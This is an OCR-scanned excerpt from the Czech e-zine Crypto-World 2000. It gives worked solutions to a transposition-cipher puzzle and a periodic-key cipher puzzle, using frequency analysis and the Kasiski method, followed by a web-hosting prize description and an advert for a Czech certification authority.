7 0 0
7 0 0

L/F
77

77

77
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E. ULOHA &.3 - Jednoducha transpozice

a) Zadani ulohy (Crypto-World 11/2000)

Ulohou tfetiho kola je vylusténi ptilozeného $ifrového textu. Jedna se o jednoduchou
transpozici - pouzita byla uplna tabulka. Rozmér tabulky musite urcit. Text je v CesSting, v
mezinarodni abecedé = 26 znakli A-Z (bez hackl a carek) a bez mezer, je rozdélen do skupin
po 5-ti znacich. Prozradim, ze se jedna o text, ktery se vyskytl na strdnkach naSeho e-zinu.

SIFROVY TEXT

IRJYE VDIPI AVIVZ NTUKM EORZN EOTYE KKLPI TTNNC EIPAE COSMN EOPRL
KEPEP LAPTE NNEDO SOTNK ENOPT LBOAO TROVR OEEIN REEEK UTSHX
EOORM YIJAJ PZOED DEDOD UCSTS ONZOA IKSCU JPPES NISBV FEIIK AEUVU
EJOOO DNMKS EORKB YMOAU ELPNO DKOOO JUNST ZIUOU EEJVG EEDZA
ACEDM KKEEI RNETV

b) Pocet spravnych reSitela
11

¢) Hledany text:
Otevieny text (po piislusné transformaci sloupk)

DLEDEFINICEZAKO
NAOELEKTRONICKE
MPODPISUJSOUELE
KTRONICKYMPODPI
SEMDOKUMENTUMIN
ENYUDAJEVELEKTR
ONICKEPODOBEKTE
REJSOUPRIPOJENE
KDATOVEZPRAVENE
BOJSOUSNILOGICK
YSPOJENEAKTEREU
MOZNUJIOVERENIT
OTOZNOSTIPODEPS
ANEOSOBYVEVZTAH
UKDATOVEZPRAVEX

II1. hledany otevieny text

DLE DEFINICE ZAKONA O ELEKTRONICKEM PODPISU JSOU ELEKTRONICKYM
PODPISEM DOKUMENTU MINENY UDAJE V ELEKTRONICKE PODOBE KTERE
JSOU PRIPOJENE K DATOVE ZPRAVE NEBO JSOU S NI LOGICKY SPOJENE A
KTERE UMOZNUJI OVERENI TOTOZNOSTI PODEPSANE OSOBY VE VZTAHU K
DATOVE ZPRAVE X
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d) nékolik poznamek k reSeni ulohy

Urceni spravného rozméru tabulky

oc¢ekavany vyskyt ve spravné urcené tabulce :

40% samohlasek * 60% souhlasek

Rozpis : tabulka 9*25
oc¢ekavany pomér 3,6 / 5,4

IEEEUUFYE 8/1 *
ROONTCEME 4/5
JTPOSSIOJ 3/6
YYRPHTIAV 4/5
EELTXSKUG 3/6
VKKLEOAEE 5/4 *
DKEBONELE 4/5
ILPOOZUPD 3/6
PPEAROVNZ 3/6
IIPOMAUOA 7/2
ATLTYIEDA 5/4
VTARIKJKC 2/7
INPOJSOOE 4/5
VNTVACOOD 3/6
ZCERJUOOM 4/5
NENOPJDJK 2/7 *
TINEZPNUK 3/6
UPEEOPMNE 5/4
KADIEEKSE 5/4
MEONDSSTI 3/6
ECSRDNEZR 2/7
OOOEEIOIN 8/1
RSTEDSRUE 3/6
ZMNEOBKOT 3/6
NNKKDVBUV 1/8 *

trestnych bodu : 11

Rozpis : tabulka 25*9
oc¢ekavany pomér 10/ 15

ITKTTCLTTBOKROCISIOOEOODK
RAMYNOKENOEUMESKNKORLJUZE
JVEENSENKAETYDTSTIAOKPUEAE
YTIOKCMPNEOISIDSCSEDBNNEAT
EVRKENEENTNHJEOUBUNYOSJCR
VZZLIEPDORRXADNJVVMMDTVEN
DNNPPOLOPOEEJOZPFUKOKZGDE
ITETAPASTVEOPDOPEESAOIEMT
PUOTERPOLREOZUAETIJEUOUEKV
trestnych bodu : 5
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11/14
13/12
11/14
10/15

5/20

8/17
13/12
15/10
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Rozpis : tabulka 15*15 (spravny rozmér)
oc¢ekavany pomér 6 /9

INKCLEOEDIFDEZA 7/8
RTKOANEOEKENLIC 7/8
JULSPOEODSIMPUE 7/8
YKPMTPIROCIKNOD 5/10
EMINETNMDUKSOUM 6/9
VETENLRYUJAEDEK 7/8
DOTONBEICPEOKEK 7/8
IRNPEOEJSPUROJE 6/9
PZNRDAEATEVKOVE 6/9
INCLOOKJSSUBOGI 6/9
AEEKSTUPONEYJER 8/7 *
VOIEORTZNIJMUEN 7/8
ITPPTOSOZSOONDE 6/9
VYAENVHEOBOASZT 7/8
ZEEPKRXDAVOUTAV 6/9

trestnych bodii : 1

F. ULOHA ¢&.4 - Periodické heslo

a) Zadani ulohy (Crypto-World 12/2000)
Soutézni priklad 4.kolo soutéze:
(pfipravil RNDr.Petr Tesar)

ZZLES FMDCU LOMEW SGWLM XHZUY ZRJKU SGKBM GNBEU VPJCT VNGVW
HPLOY VLBAM RIIZN UJVKH XADVV GBQOWX OOTKM RSEMV THMEU SNZMS
FHPPB KTQKK IzZVPU ABGVT CWXKE FZNLY YVINE UTOGP MGCPM ESYBZ
OAVHG QDYOD ITKBC SUGPH VDGVP QDVLB NPFCP NYZQX QULBK GMIXI
BVCHR FYYWD OPEGL EGVCA QWMUE XBWXG KIIGH RTJIU WYYJB BSPPS
VLTDO PLJNL DYODI TKBCS UGPHV DGVPQ DVJYN PEFVPN YZQXW EMGYO
GEFCH CMOEI VLGQE TWBWX GFANB RWECG KWLOK LRYGZ RHSKV EAVAB
SVKLC XYWBA JPARK ZRGEW MBRZE RAWJR AGTZZ SENRP

b) Pocet spravnych reSitela
4

¢) Hledany text:
heslo: DVACETIKORUNY

WELCOME TO DRDO BBS ESSENTIAL BOOKS ON CRYPTOGRAPHY AND
SECURITY THIS CDROM PROVIDES THE MOST OMPREHENSIVE RESOURCE ON
CRYPTOGRAPHY AND DATA SECURITY AVAILABLE SYSTEM REQUIREMENTS
ADOBE ACROBAT READER WITH UHARCH PLUGIN CDROM DRIVE
INSTALLATION AND USE INSTRUCTIONS TO VIEW THE BOOKS HOU MUST
HAVE BUP AN ADOBE ACROBAT READER WITH SEARCA PLUGIN INSTALLED

Crypto - World 2000 180



YOU CAN O IN D VERSION SOGADO BE ACROBAT READER FOR NUMEGO US
PLATFORM SVN THE READER DIKECTORY CARPENTER

Bohuzel do textu se vloudilo nékolik chyb, které mohly zapfi€init problémy pfti hledani fesSeni.
Ovsem v praxi se podobna chyba zachytu nebo pfevodu miize bézné vyskytnout.

d) nékolik poznamek k reSeni ulohy

ZZLES FMDCU LQOMEW SGWLM XHZUY ZRJKU SGKBM GNBEU VPJCT VNGVW 1-50

HPLOY VLBAM RIIZN UJVKH XADVV GBQOWX OOTKM RSEMV THMEU SNZMS 51-100
FHPPB KTQKK IZVPU ABGVT CWXKE FZNLY YVINE UTOGP MGCPM ESYBZ 101-150
OAVHG QDYOD ITKBC SUGPH VDGVP QDVLB NPFCP NYZQOX QULBK GMIXI 151-200
BVCHR FYYWD OPEGL EGVCA QWMUE XBWXG KIIGH RTJIU WYYJB BSPPS 201-250
VLTDO PLJNL DYODI TKBCS UGPHV DGVPQ DVJYN PEVPN YZQXW EMGYO 251-300
GEFCH CMOEI VLGQE TWBWX GFANB RWECG KWLOK LRYGZ RHSKV EAVAB 301-350
SVKLC XYWBA JPARK ZRGEW MBRZE RAWJR AGTZZ SENRP 351-390

Frekvence znakt

A=12 3,08 B= 20 5,13 C= 13 3,33 D= 12 3,08
E= 20 5,13 F= 8 2,05 G= 26 6,67 H= 12 3,08
I= 12 3,08 J= 9 231 K= 17 436 L= 16 4,10
M= 16 4,10 N= 13 3,33 O= 12 3,08 P= 21 5,38
Q= 11 2,82 R= 14 3,59 S= 14 3,59 T= 12 3,08
U= 13 333 V=26 6,67 W= 17 4,36 X= 11 2,82
Y= 17 436 Z= 16 4,10

Frekvence trigramii (zji§téno pomoci programu JZ - program je v sekci SOUTEZ)

BCS= 2* BWX= 2- CSU= 2% DGV= 2*
DIT= 2* DOP= 2/ DYO= 2% GPH= 2*
GVP= 2% HVD= 2* ITK= 2% KBC= 2*
NPF= 2/ NYZ= 2, ODI= 2* PHV= 2*
PNY= 2, PQD= 2* QDV= 2% SUG= 2*
TKB= 2* UGP= 2* VDG= 2% VLB= 2/
VPQ= 2% WXG= 2- YOD= 2* YZQ= 2,
ZQX= 2,

Trigramy rozsifim na opakovani (vyhledam v textu) a zjistim pozice zacatku pfislusnych
opakovani

DYODITKBCSUGPHVDGVPQDV * 157 261 104 (2*2*2%*13)

BWXG - 227 318 91 (13*7)
PNYZQX, 185 289 104 (2*2*2*13)
jen trigram /

DOP 210 254 44 (2*¥2*11)
NPF 181 285 104 (2*2*2*13)
VLB 56 178 122 (5*61)

nejpravdépodobnéjsi délka hesla je 13 !
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G.Globe Interenet, s.r.o.

Hlavni cenu vénovala spole¢nost Globe Internet, s.r.o.. Cenou je registrace domény
.CZ nebo .SK (podle mista bydlist¢ zadatele) a provoz virtudlniho serveru modelu LITE na
dobu jednoho roku.

Informace o serveru najdete na adrese
http://servery.cz/index.php3?include=descmodel.inc&c_id=4 .

Model: LITE server

- 100 MB na disku, 15 e-mailovych schranek

- neomezeny prenos dat, neomezeny piistup pies FTP nebo FrontPage Extensions

- profesionalni virtualni obchod GESTO - ZDARMA

- Globe Internet HELPDESK

- posta ptes WWW rozhrani WEBMAIL

- neomezené nastaveni aliast, forward, automatickd odpovéd’, SMS notifikace dosl¢ posty,
doménovy koS

- automatické kédovani Cestiny

- vaSe stranky dle obsahu zdarma PC Globe Internet s.r.o. zanese do pfislusnych kategorii
popularnich ¢eskych a zahrani¢nich vyhledavaci Internetu

- provoz PHP, ASP, PERL a dalsich CGI scriptd.

- provoz databazovych aplikaci MySQL, SYBASE nebo jakychkoli jinych databazi
vyuzivajicich ODBC rozhrani

- WWW rozhrani pro administraci databaze MySQL

- zjednodusSeni adresy tak, Ze neni nutné psat "predponu" www .

Dé&kujeme !
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CEHTIFICATION

e I"CA
H. Certifikacni autorita AUTHORTTY

Vyména informaci v elektronické podobé je trendem dnesSni doby. Jisté nejveétsim

problémem dnesni komunikace je prokézani totoznosti komunikujicich partnert.
Schvaleny Zakon o elektronickém podpisu urcuje a legalizuje cestu feseni tohoto problému —
digitalni podpis. A nejen to, dokonce ve vyjmenovanych piipadech stavi elektronicky
dokument opatteny bezpecnostnimi atributy na stejnou uroven jako podepsany papirovy
dokument. Nezbytnou podminkou pro tvorbu digitalniho podpisu je certifikdt vydany
diivéryhodnou certifikacni autoritou.

PVT, a.s., provozuje jiz od roku 1997, jako prvni svého druhu na trhu, produkt I.
Certifikacni autorita (dale jen 1.CA) jako prvni komercni poskytovatel sluzeb certifikacni
autority. Pro zajiSténi realizace pozadavkl svych klienti provozuje infrastrukturu tzv.
registraénich autorit a v soucasnosti jich spravuje vice nez 200 po celém tzemi Ceské
republiky. I.CA za dobu své plisobnosti vydala jiz vice nez 100 000 kust certifikata.

Certifikat je elektronickou obdobou ,,prikazu totoznosti“, obsahuje dokonce i podobné
udaje, predevsim vSak jednoznacné€ svazuje fyzickou totoznost s totoznosti elektronickou.

Diky vyuzivani certifikatl ziskaji komunikujici strany jistotu identity komunikujiciho
partnera, nebot’ umoznuji ovéfeni totoznosti jest¢ predtim, nez je uzivateli umoznén pristup k
diivérnym nebo placenym informacim. Pfi zabezpeceni komunikace proto jiz neni tfeba, aby
si jeji ucastnici ovérovali navzajem svou totoznost, povinnost ovéieni totoznosti prebira [.CA
pted vydanim certifikatu.

Zékladnim zpiisobem, kterym zakaznici mohou podavat u registracnich autorit I.CA
pozadavek na vydani certifikatu, je predani zadosti o vydani certifikdtu ve standardizované
elektronické podobé¢, kterou si vytvorili prostiednictvim webovské stranky http://www.ica.cz.
V piipadg, Ze zadost obsahuje viechny naleZitosti definované Radem 1.CA a Zadatel piedloZi
doklady pozadované pro ovéfeni jeho totoznosti, pak je zadateli vydan certifikat I.CA.
Zakaznik obdrzi certifikat pfimo na registracni autorité¢ I.CA a soucasné také elektronickou
postou.

Schvéleny Zakon o elektronickém podpisu vnési do oblasti elektronické komunikace
novy impuls, pro ktery I.CA ptipravuje rozsifenou nabidku sluzeb svym klientim.

Sluzby poskytované I.CA:
= Sluzby registrac¢nich autorit
o Vyjezd mobilni registracni autority
o Ztizeni klientské registracni autority

= SluZzby vydavani certifikati

@ Osobni certifikaty
o Certifikaty pro komunikaci serverti
@ Testovaci certifikaty

Certifikaty [.CA jsou vyuzivany predevs§im pro :

= bezpec¢nou komunikaci po nechranénych sitich.

= obchodovani prostiednictvim Internetu

= zajiSténi bezpecného piistupu na www servery.

= komplexni feseni IS s vyuzitim bezpecné komunikace na bazi internetovych technologii.

Kontakt:
http:// www.ica.cz, e-mail: info@ica.cz

Crypto - World 2000 183


http://www.ica.cz
http://www.ica.cz

